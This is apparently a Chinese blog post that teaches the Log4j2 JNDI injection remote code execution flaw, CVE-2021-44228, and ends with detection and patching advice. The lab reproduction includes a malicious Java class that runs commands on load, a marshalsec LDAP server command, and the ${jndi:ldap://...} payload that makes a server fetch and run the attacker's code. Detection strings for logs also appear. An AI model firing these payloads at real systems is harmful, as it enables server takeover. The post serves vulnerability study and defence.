log4j2远程代码执行漏洞学习总结
log4j2远程代码执行漏洞学习总结
背景
近期log4j2的漏洞闹得沸沸扬扬,在工作之余也是找了一些资料看一下相关的内容,到现在网上的总结已经很全了,B站上有各种漏洞复现,各大博客类网站关于JNDI相关漏洞又重新被翻了出来,我这里主要是做一些我自己的总结和理解,以及我个人对漏洞的复现,当然很多内容包括整个实验流程很多都是从网上复制的,虽然是个缝合怪,但实验的代码和总结是自己的,不会像网上某些文章,无脑CV过来,有的还不全。在文章最后会给出我看到的比较好的各种资料。
不过江湖惯例,警告还是要放的
中华人民共和国网络安全法
第二十七条
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;
不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;
明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
JNDI 注入原理
很多人一看这种注入原理的字眼,就开始头疼,但我觉得还是有必要说一下。这次log4j2的漏洞,就是log4j2被别人利用,执行了JNDI注入,也就是说log4j2是被人当枪使了。而这个JNDI注入,却是很常见的攻击行为,因此需要先了解,我觉得至少要了解一下几个方面。
- 什么是LDAP?
- 什么是JNDI?
- 什么是JNDI注入?
LDAP
首先LDAP是一种通讯协议,LDAP支持TCP/IP。协议就是标准,并且是抽象的。在这套标准下,AD(Active Directory)是微软出的一套实现。那AD是什么呢?暂且把它理解成是个数据库。也有很多人直接把LDAP说成数据库(可以把LDAP理解成存储数据的数据库)。
LDAP也像是其他数据库一样,是有client端和server端。server端是用来存放资源,client端用来操作增删改查等操作。但它是使用树形结构,存储类似于key-value(资源),这你想到了什么,我感觉有点像ZooKeeper。
用树状结构存储的好处毋庸置疑就是快,想想MySQL索引也就知道了,而且他主要也是用来存储资源类的信息,因此不需要像MySQL那样存储结构性的数据(占空间)。
LDAP可以用于统一登录, 统一文件存储,看来看去还是和ZK有点相似之处。
而我们通常说的LDAP是指运行这个数据库的服务器,可以简单理解AD =LDAP服务器+LDAP应用。
JNDI
JNDI(Java Naming and Directory Interface)Java 命名和目录接口,命名服务用于根据名字找到位置、服务、信息、资源、对象。
看到这你可能不懂,但JDBC你总懂吧,你的Java程序可以通过JDBC这套标准接口,可以对接不同数据库,也可以通过JNDI访问到不同的服务,是不是有点像,本质上还是一套标准接口。
JNDI要查找到对应的资源需要有两个过程
- 发布服务 bind
- 查找服务 lookup
像极了哈希表的put和get,我强烈怀疑他就是通过哈希表实现的,看到这个lookup标黑了吗,这是重点,log4j2要考。
JNDI可以访问的服务:LDAP(这不就连上了)、RMI(这个也可以看一下,后面的都看不懂了,凑个数)、DNS()、XNam 、Novell目录服务、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS……
JNDI注入
JNDI动态协议转换
对于lookup方法:即使初始化的Context指定了一个协议,也会根据URI传入的参数来转换协议。也就是说,替换lookup里面的协议内容,则会使用修改后的协议。
这是什么意思呢?就是说本来你想出去吃火锅,但你到了美食街,突然想吃烧烤,那你最终还是会去吃烧烤。
当我们调用lookup()方法时,如果lookup方法的参数, 像是一个uri地址,那么客户端就会去 lookup()方法参数指定的uri中加载远程对象
JNDI 命名引用
以下三条内容请详细阅读三遍,确保理解透彻。
- 在LDAP里面可以存储一个外部的资源,叫做命名引用,对应Reference类。比如远程HTTP服务的一个.class文件。
- 如果JNDI客户端基于LDAP服务,找不到对应的资源,就去指定的地址请求,如果是命名引用,会把这个文件下载到本地。
- 如果下载的.class文件包含无参构造函数或静态方法块,加载的时候会自动执行。
前面说过,LDAP是kv存储,它的value可以是一个外部资源,如果客户端找不到资源就会去把资源下载到本地(转发下载),第三条说的很明白,如果是一个.class文件,就可以自动执行静态代码块和无参构造方法。
JNDI注入流程:
log4j2 RCE漏洞原理
在log4j2有一个Lookups功能,官方文档中是这样写的
Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface.
Lookups提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现StrLookup接口的特殊类型的插件 。
举个例子
// log4j2 <=2.14.1日志打印
log.info("${java:runtime} - ${java:vm} - ${java:os}");
// 输出结果
// Java(TM) SE Runtime Environment (build 1.8.0_201-b09) from Oracle Corporation - Java HotSpot(TM) 64-Bit Server VM (build 25.201-b09, mixed mode) - Windows 10 10.0, architecture: amd64-64
得到这个结果是因为log4j2允许使用以 java: 为前缀的字符串,检索Java环境信息
The JavaLookup allows Java environment information to be retrieved in convenient preformatted strings using the java: prefix.
同样Log4j2对JNDI也有类似的支持,现在官网的文档描述已经改为
As of Log4j 2.17.0 JNDI operations require that log4j2.enableJndiLookup=true be set as a system property or the corresponding environment variable for this lookup to function. See the enableJndiLookup system property.
从 Log4j 2.17.0 开始,JNDI 操作要求将 log4j2.enableJndiLookup=true 设置为系统属性或相应的环境变量,以便此查找起作用。请参阅 enableJndiLookup系统属性。
The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a “:” no prefix will be added.
JndiLookup 允许通过 JNDI 检索变量。默认情况下,键将以 java:comp/env/ 为前缀,但是如果键包含“:”,则不会添加前缀。
老版本的前缀 jndi:,新版本前缀改为{jndi:},新版本前缀改为jndi:,新版本前缀改为{ java:comp/env/ } (没试过)。
因此在使用老版本的log4j2中
- 任意输入框体,注入jndi模拟攻击,包含 远程加载地址
- 日志服务打印记录
- 日志服务发现*${jndi:}* 识别JNDI 并进行JNDI服务的 lookup
- JNDI动态协议转换
- LDAP服务,指定远程加载地址为恶意代码地址
- 在客户端访问LDAP服务不存在的引用
- 从指定地址动态加载对象
- 将远程对象下载到本地,并执行静态代码块
代码示例:
@PostMapping("login")
public ResponseEntity<String> login(LoginForm form) {// 漏洞入口代码logger.info("login-account:{}", form.getAct());// 用户认证if(auth(form.getAct(), form.getPwd())) {// 记录会话信息String token = UUID.randomUUID().toString();UserVO user = new UserVO();user.setAct(form.getAct());SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");user.setLat(sdf.format(new Date()));caffeineTemplate.put(token, user);return ResponseEntity.ok(token);}return new ResponseEntity<>(HttpStatus.UNAUTHORIZED);
}
恶意代码示例:
static {try {//打开计算器if (System.getProperty("os.name").toLowerCase().contains("win")) {Runtime.getRuntime().exec("calc " );}//退出程序System.exit(0);} catch (IOException e) {System.out.println(e.getMessage());}
}
漏洞复现方式
最简单的方法
在码云上找到Log4j2-CVE-2021-44228这个项目,把它下载下来,按照 README.md 走一遍,虽然我不是这样实现的,但很多内容参考了他的代码,因此我觉得应该没什么问题。
比较真实的还原
我个人比较真实的还原了攻击过程,这个代码就不上传了,网上有很多了,准备了两台linux服务器,和一台windows作为客户端,他们的作用分别如下
- LinuxA:模拟一个运行的Spring后台,也就是网站的服务器
- LinuxB:模拟一个IDAP的服务器
- Windows作为客户端,这没啥说的,主要是Postman发送请求。
客户端和LinuxB是一伙的,扮演攻击者,LinuxA是受害者。
看一下LinuxA的接口很简单,模拟一个登录接口,日志打印一下登录的用户名
@RestController
public class TestController {private static final Logger log = LogManager.getLogger(TestController.class);@PostMapping("testBug")public String testBug(@RequestBody Map<String,String> params){String userName = params.get("userName");log.info(userName);log.info("${java:runtime} - ${java:vm} - ${java:os}");return userName;}
}
正常客户端发送的请求
{"userName":"呵呵一笑"
}
此时我在LinuxB,先准备一个攻击代码,编译成.class文件
public class Faker {private static final String STATIC_RUN="touch /faker_static.txt";private static final String CONSTRUCTOR_RUN="touch /faker_constructor.txt";static {try {System.out.println("run commond :"+ STATIC_RUN);Runtime.getRuntime().exec(STATIC_RUN);} catch (IOException e) {System.out.println(e.getMessage());}}public Faker() {try {System.out.println("run commond :"+ CONSTRUCTOR_RUN);Runtime.getRuntime().exec(CONSTRUCTOR_RUN);} catch (IOException e) {System.out.println(e.getMessage());}}
}
静态代码块和构造函数里就是攻击的代码,我本想着打印两句话,执行两条命令,但执行命令语句没有生效,可能是由于权限问题,打印是有的。
接下来启动一个web服务,这个步骤很关键,很多教程这个地方讲的都很省略。
我是准备一个Tomcat,将这个.class文件上传到Tomcat下webapps 下,我是放在了自己创建的nb文件夹下,此时启动Tomcat,你是可以通过
http://${ip}:8080/nb/Faker.class
下载到你的文件的,当然你可以用其他方式例如nginx启动这个web服务,但你要启动web服务,才能下载到。
最后准备一个LDAP服务,这个我是从github上下载了网上流行的恶意LDAP服务marshalsec的源码,自己用maven编译了一下,这个代码也很值得学习,可以看一下它是如何创建LDAP服务的。
编译好以后,上传到LinuxB,启动该恶意LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://${ip}:8080/nb/#Faker 8088
其中#Faker是因为我的攻击类叫Faker.class,最后的8088是一个端口,可以按照自己的意愿改动。
此时使用Postman请求接口,参数改为
{"userName":"${jndi:ldap://${ip}:8088/test}"
}
注意上面的${ip}是LinuxB的IP,也就是攻击者自己的LDAP服务器,端口要和你上面启动的端口一致
最终结果
最后你可以在LinuxA上看到打印的两句话,可惜的是两句命令无法执行
好像是因为权限的问题,但这不重要,当LinuxA贸然访问到LinuxB的LDAP服务,它就已经输了,如果这是一段挖矿代码,那后果不堪设想,而这一切的源头,仅仅是因为打印了一个参数的日志,这也就是这个漏洞的严重性
log4j RCE漏洞影响范围和排查方法
影响范围:
使用了log4j的组件,并且版本在 2.x <= 2.14.
JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为
true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加
了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,
默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的
JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,
默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
jdk-8u201, 8u202:最后一个免费商用版本,Oracle于 2019-01-15 停止免费商用更新
这是官方对于奇数版本与偶数版本区别的解释:
从JDK版本7u71以后,JAVA将会在同一时间发布两个版本的JDK,其中:
奇数版本为BUG修正并全部通过检验的版本,官方强烈推荐使用这个版本。
偶数版本包含了奇数版本所有的内容,以及未被验证的BUG修复,
Oracle官方表示:除非你深受BUG困扰,否则不推荐您使用这个版本。
升级到 jdk-8u201之后可以避免一部分攻击.
排查方法
1、pom版本检查
2、可以通过检查日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。
3、检查日志中是否存在相关堆栈报错,堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与 jndi 调
用相关的堆栈信息
4、各种安全产品 WAF、RASP
排查工具:
没用过,粘贴过来的
https://static.threatbook.cn/tools/log4j-local-check.sh
https://sca.seczone.cn/allScanner.zip
log4j RCE漏洞修复方法
官方方案
1、将Log4j框架升级到最新版本:
新版本log4j2在JNDI lookup中增加了很多的限制:
1、默认不再支持二次跳转(也就是命名引用)的方式获取对象
2、只有在log4j2.allowedLdapClasses列表中指定的class才能获取。
3、只有远程地址是本地地址或者在
log4j2.allowedLdapHosts列表中指定的地址才能获取
<dependencies><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>${log4j.version}</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>${log4j.version}</version></dependency>
</dependencies>
或
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-log4j2</artifactId><version>2.17.1</version>
</dependency>
临时方案
1、升级JDK
2、修改log4j配置
3、使用安全产品防护:WAF、RASP
log4j配置
- 设置参数:log4j2.formatMsgNoLookups=True
- 修改JVM参数:-Dlog4j2.formatMsgNoLookups=true
- 系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
- 禁止 log4j2 所在服务器外连
参考博客
https://www.jianshu.com/p/7e4d99f6baaf
https://www.heibai.org/1360.html
https://blog.csdn.net/he_and/article/details/105586691
https://gitee.com/Morningyet/Log4j2-CVE-2021-44228/blob/master/log4j%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
log4j2远程代码执行漏洞学习总结相关推荐
- 快速修复 Log4j2 远程代码执行漏洞步骤
点击关注公众号,实用技术文章及时了解 来源:blog.csdn.net/weixin_48990070/ article/details/121861553 目录 漏洞说明 修复步骤 下载源码zip包 ...
- Apache Log4j2远程代码执行漏洞攻击,华为云安全支持检测拦截
近日,华为云安全团队关注到Apache Log4j2 的远程代码执行最新漏洞.Apache Log4j2是一款业界广泛使用的基于Java的日志工具,该组件使用范围广泛,利用门槛低,漏洞危害极大.华为云 ...
- 最新log4j2 远程代码执行漏洞(紧急扩散)
目录 一.问题描述 二.漏洞简介 三.临时解决方案 一.问题描述 在12月9日晚间出现了Apache Log4j2 远程代码执行漏洞攻击代码.该漏洞利用无需特殊配置,经多方验证,Apache Stru ...
- 【紧急】Apache Log4j2 远程代码执行漏洞
0x01 漏洞背景 12月9日,监测到网上披露Apache Log4j2 远程代码执行漏洞,由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特别构造的数据请求包,可 ...
- Apache Log4j2远程代码执行漏洞风险紧急通告,腾讯安全支持全面检测拦截
腾讯安全注意到,一个Apache Log4j2的高危漏洞细节被公开,攻击者利用漏洞可以远程执行代码. 漏洞描述: 腾讯安全注意到,一个Apache Log4j2反序列化远程代码执行漏洞细节已被公开,L ...
- 代码审计之CVE-2017-6920 Drupal远程代码执行漏洞学习
1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...
- Apache Log4j2 远程代码执行 漏洞
1.漏洞说明 Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了大量丰富的特性.该日志框架被大量用于业务系统开发,用来记录日志信息.大多数情况下,开发者 ...
- Apache Log4j2远程代码执行漏洞
漏洞介绍 Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了大量丰富的特性.该日志框架被大量用于业务系统开发,用来记录日志信息.大多数情况下,开发者可能 ...
- 分析Apache Log4j2 远程代码执行漏洞
漏洞描述 Log4j是Apache的一个开源项目,通过使用Log4j,可以控制日志信息输送的目的地是控制台.文件.GUI组件,甚至是套接口服务器.NT的事件记录器.UNIX Syslog守护进程等:也 ...
最新文章
- PHP遇到json解决的两个办法,转为数组,直接取值
- python字典去最值_python 比较字典value的最大值的几种方法
- sqlserver日志文件过大的处理方法
- java并发性是指什么_java – 什么是“非阻塞”并发,它与普通并发性有什么不同?...
- 双机热备份和负载均衡的区别
- 迭代器,生成器,递归
- 常用Latex表达式符号——组合数学篇
- nodemcu固件_从无到有玩NodeMcu:web端控制
- Linux学习入门--make学习总结
- C++/C学习笔记(二)
- P1491 集合位置
- win10浏览器闪退_win10系统打开ie11浏览器出现闪退的两种解决方法
- 用小程序做问卷调查,获取数据就是这么简单!
- 计算机多媒体设备维护维修,学校多媒体教学设备的故障检修
- 今天脚被蜈蚣“啃”了
- 如何彻底禁用谷歌Chrome更新
- 6月份鸿蒙升级名单,华为鸿蒙系统6月升级名单机型有哪些
- 酷狗音乐API数据接口--分析
- Android性能测试 之 APPFPS的方法
- JS一个元素怎么绑定多个事件
热门文章
- 解决 Windows 商店 0x800704cf 网络问题
- cad2017单段线_CAD将线段分成多段线的方法步骤
- linux sed 添加空行,sed之添加空行
- win10系统ipv6服务器地址,win10系统查看电脑ipv6地址的操作方法
- 服务器Linux环境下安装Matlab2018b
- 2019年管理类MBA/MEM联考英语小作文范文
- 无线射频专题《射频合规,无线电认证系列简介,IC/CE/FCC/NCC/KCC/SRRC/ROHS/TELET/REACH/ANATEL》
- Ubuntu burg
- 计算机网络,概念,发展历史,分类,协议
- PhpMyWind储存型XSS漏洞练习(CVE-2017-12984)